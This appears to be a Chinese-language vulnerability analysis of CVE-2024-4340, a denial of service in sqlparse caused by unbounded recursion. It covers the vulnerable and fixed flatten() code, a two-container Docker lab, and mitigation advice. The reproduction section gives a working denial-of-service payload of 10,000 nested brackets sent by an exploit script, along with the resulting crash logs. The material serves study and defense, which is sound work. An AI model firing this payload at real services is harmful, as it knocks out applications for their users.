跳转至

CVE-2024-4340 — sqlparse 无限递归拒绝服务

发布于 2026-06-06

单个 HTTP 请求即可触发拒绝服务

一个约 20 KB 的请求体就足以崩溃 gunicorn 工作进程,受影响的是任何将用户提供的 SQL 传递给 sqlparse.format()sqlparse.parse() 的应用(0.5.0 之前版本)。

Project sqlparse
受影响组件 sqlparse/sql.pyTokenList.flatten(),通过 sqlparse/engine/grouping.py 触达
Severity HIGH
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5)
CWE CWE-674
受影响版本 < 0.5.0
修复版本 0.5.0
安全公告 GHSA-2m57-hf25-phgg

1. 漏洞概述

sqlparse 是一个用于解析、格式化和拆分 SQL 语句的 Python 库。CVE-2024-4340 是一个可通过网络利用的拒绝服务漏洞:向 sqlparse.parse()sqlparse.format() 传入深度嵌套的括号字符串——例如 10,000 个 [ 字符后跟 10,000 个 ] 字符——会触发库内分组引擎的无限递归调用。Python 的调用栈被耗尽,抛出 RecursionError,并未经捕获地向调用方应用传播。任何将用户提供的 SQL 传递给 sqlparse 且未设置递归保护的 Web 服务,单次请求即可被击垮。CVSS v3.1 评分为 7.5(HIGH)。

根本原因。 解析过程中,sqlparse/engine/grouping.py 通过递归调用 _group_matching() 为括号组构建词法标记树,每层嵌套调用一次。每个 SquareBrackets 节点构造时,其 __init__ 调用 str(self),最终调用 sqlparse/sql.py 中的 TokenList.flatten()。该方法通过递归地向自身 yield 来遍历标记树:

# VULNERABLE (pre-0.5.0) — sqlparse/sql.py, class TokenList
def flatten(self):
    """Generator yielding ungrouped tokens.

    This method is recursively called for all child tokens.
    """
    for token in self.tokens:
        if token.is_group:
            yield from token.flatten()   # unbounded recursion
        else:
            yield token

10,000 对嵌套括号会使标记树深达 10,000 层。flatten() 需要递归遍历全部 10,000 层,远超 CPython 默认约 1,000 帧的限制,Python 随即抛出 RecursionError: maximum recursion depth exceeded。整个调用路径中没有任何代码捕获此异常,它会一路向上传播到应用层。

提交 b4a39d9 引入的修复(以 0.5.0 发布)将循环包裹在 try/except RecursionError 块中,把解释器级别的崩溃转换为调用方可处理的库级别异常:

# FIXED (0.5.0) — sqlparse/sql.py, class TokenList
from sqlparse.exceptions import SQLParseError

def flatten(self):
    try:
        for token in self.tokens:
            if token.is_group:
                yield from token.flatten()
            else:
                yield token
    except RecursionError as err:
        raise SQLParseError('Maximum recursion depth exceeded') from err

2. 漏洞环境

复现环境由 Docker Compose 管理的两个容器组成(env.zip)。两个容器运行相同的最小化 Flask 应用(env/app.py):一个 /format 端点,接收纯文本请求体并直接传递给 sqlparse.format(),不设大小限制,不捕获异常。两个容器仅在已安装的 sqlparse 版本上有所不同:

容器名 sqlparse 版本 宿主机端口
cve-2024-4340-vuln 0.4.4(存在漏洞) 127.0.0.1:8000
cve-2024-4340-patched 0.5.0(已修复) 127.0.0.1:8001

每个容器运行单个 gunicorn 同步工作进程(env/Dockerfile),设置了 PYTHONUNBUFFERED=1 和 120 秒请求超时,工作进程崩溃时会立即在 docker logs 中产生可见的回溯,而不会被误认为超时终止。

在运行目录中启动环境:

docker compose -f env/docker-compose.yml up -d --build

待两个容器都达到 Up (healthy) 状态后,通过冒烟测试确认版本锁定:

curl -s http://127.0.0.1:8000/health && echo && curl -s http://127.0.0.1:8001/health && echo

预期输出:

{"sqlparse":"0.4.4","status":"ok"}
{"sqlparse":"0.5.0","status":"ok"}

/health 端点输出当前运行的 sqlparse 版本,该响应确认存在漏洞的版本已正确安装,未打补丁的代码路径处于活跃状态。服务定义详见 env/docker-compose.yml

3. 漏洞利用方法

漏洞利用由单个 shell 脚本完成(exploit/run.sh;完整存档:exploit.zip)。该脚本使用 Python 动态构建括号 payload,向目标发送单个有界 HTTP POST 请求,并报告 HTTP 状态码和 curl 退出码。脚本本身不读取容器日志,也不判断崩溃是否发生;崩溃判断通过独立检查服务端来完成,方式如下。

第一步 — 建立通过的存活性基线。

curl -s http://127.0.0.1:8000/health && echo

此命令必须返回 {"sqlparse":"0.4.4","status":"ok"} 方可继续。

第二步 — 向存在漏洞的服务发送攻击载荷。

bash exploit/run.sh http://127.0.0.1:8000 10000

脚本将 '['*10000 + ']'*10000(约 20 KB)作为纯文本 POST 请求体发送至 /format。在存在漏洞的栈上,gunicorn 工作进程会在 sqlparse 的分组代码中耗尽调用栈,返回如下响应:

[*] Payload bytes: 20000  (depth=10000, finite single request body)
[*] POST http://127.0.0.1:8000/format
[*] http_status=500
[*] curl_exit_code=0  (0=response received; 52/56=connection dropped before complete response)
[*] response_body:
<!DOCTYPE HTML> ...

HTTP 500 响应确认工作进程遇到了错误。从良性 /health 基线的 200,到该请求体的 500,这一转变是独立的崩溃证据,来自服务器响应,而非攻击脚本本身的逻辑。

第三步 — 确认崩溃根源在 sqlparse(服务端日志)。

docker logs --tail 200 cve-2024-4340-vuln 2>&1 | grep -E "RecursionError|grouping\.py|sql\.py.*flatten|in flatten|Exception on /format" | tail -40

此命令独立于攻击脚本读取容器日志。验证运行中捕获的回溯如下:

[ERROR] Exception on /format [POST]
Traceback (most recent call last):
  File ".../flask/app.py", line 1473, in wsgi_app
  File "/app/app.py", line 30, in format_sql
    formatted = sqlparse.format(body, reindent=True, keyword_case="upper")
  File ".../sqlparse/__init__.py", line 53, in format
  File ".../sqlparse/engine/filter_stack.py", line 31, in run
    stmt = grouping.group(stmt)
  File ".../sqlparse/engine/grouping.py", line 430, in group
  File ".../sqlparse/engine/grouping.py", line 35, in group_brackets
    _group_matching(tlist, sql.SquareBrackets)
  File ".../sqlparse/engine/grouping.py", line 30, in _group_matching
    _group_matching(sgroup, cls)
  [Previous line repeated 964 more times]
  File ".../sqlparse/sql.py", line 214, in flatten
RecursionError: maximum recursion depth exceeded

回溯显示 sqlparse/engine/grouping.py 中的 _group_matching[Previous line repeated 964 more times],最终帧定位到 sqlparse/sql.py 第 214 行的 flatten。崩溃起源于 /app/app.py:30 上的 sqlparse.format(...) 调用,这是一条直接的、无需身份验证的网络输入路径,也正是 0.5.0 修复所针对的代码。RecursionError 未被捕获,传播出库外。

第四步 — 确认已修复版本不受影响(差异对照)。

对已修复的服务运行相同的 payload,并对比容器日志:

bash exploit/run.sh http://127.0.0.1:8001 10000
docker logs --tail 200 cve-2024-4340-patched 2>&1 | grep -E "RecursionError|SQLParseError|grouping\.py|sql\.py.*flatten" | tail -20

HTTP 状态码不是区分两者的依据

存在漏洞的栈和已修复的栈对此 payload 均返回 HTTP 500。区分两者的信号在服务端日志中,而非 HTTP 状态码。

已修复工作进程的日志显示:

  File ".../sqlparse/sql.py", line 214, in flatten
    raise SQLParseError('Maximum recursion depth exceeded') from err
sqlparse.exceptions.SQLParseError: Maximum recursion depth exceeded

在已修复的栈上,flatten() 仍然会递归进入深层括号树,但提交 b4a39d9 引入的 try/except RecursionError 块拦截了崩溃,将其重新抛出为 sqlparse.exceptions.SQLParseError。最终异常是可捕获的库级别错误,而非原始的解释器崩溃。存在漏洞的栈上出现的未捕获 RecursionError 在此完全不存在,从而确认崩溃来自修复所移除的那条特定代码路径,而非通用的应用或框架错误处理。

清理环境。 完成测试后,停止并移除容器及其数据卷:

docker compose -f env/docker-compose.yml down -v --rmi local

4. 安全建议

修复措施。 将 sqlparse 升级至 0.5.0 或更高版本。该修复仅涉及单个提交(b4a39d9),在递归 flatten() 调用处添加了 try/except RecursionError 包装,并将其转换为有文档记录的 sqlparse.exceptions.SQLParseError。升级后,若调用方需要处理超大或格式错误的输入,应在调用 sqlparse.parse()sqlparse.format() 时捕获 SQLParseError

临时缓解措施。 若无法立即升级,可在调用 sqlparse 之前添加输入大小限制,防止深度嵌套的输入到达解析器。字符数上限设为几百 KB 不会影响正常 SQL 的处理。在反向代理或 Web 框架层设置请求体大小限制可提供额外防护。这些缓解措施均未修复底层的无限递归问题;升级至 0.5.0 才是权威修复方案。

参考资料。